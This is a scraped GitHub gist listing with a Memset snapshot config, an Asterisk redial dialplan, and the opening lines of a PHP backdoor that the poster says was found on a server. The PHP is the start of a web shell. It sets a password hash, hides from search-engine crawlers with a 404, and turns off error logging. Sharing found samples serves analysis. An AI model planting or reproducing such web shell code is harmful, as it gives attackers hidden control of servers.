Skip to content

Instantly share code, notes, and snippets.

View whi-tw's full-sized avatar
🌐
YAY, STATUS FROM API

whi-tw

🌐
YAY, STATUS FROM API
View GitHub Profile
@whi-tw
whi-tw / snapshot.conf
Last active March 28, 2018 11:45
Memset Automatic Snapshot with retention
logfile=/var/log/memset-snapshot
apikey="**APIKEY**"
server="testyaa1"
memstore="mstestyaa1"
snap_type="tar"
retention=2
@whi-tw
whi-tw / extensions_custom.conf
Created May 2, 2017 10:11
Asterisk redial until connect extension
[from-internal-custom]
include => to-destination_name
[to-destination_name]
exten => 3627,1(dialing),Dial(SIP/**phone_number**@**trunk_name)
exten => 3627,n,GotoIf($["${DIALSTATUS}" = "BUSY"]?busy:completed)
exten => 3627,n(busy),Playback(beep)
exten => 3627,n,Goto(dialing)
exten => 3627,n(completed),Hangup()
@whi-tw
whi-tw / sneakyscript.php
Created October 28, 2016 10:46
a backdoor script found on a server - pretty comprehensive one too!
<?php
$color = "#df5";$default_action = 'FilesMan';$auth_pass = "5672565533f43af96e36c0ab514fd2a4";$default_use_ajax = true;$default_charset = 'Windows-1251';
<?php if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log', NULL);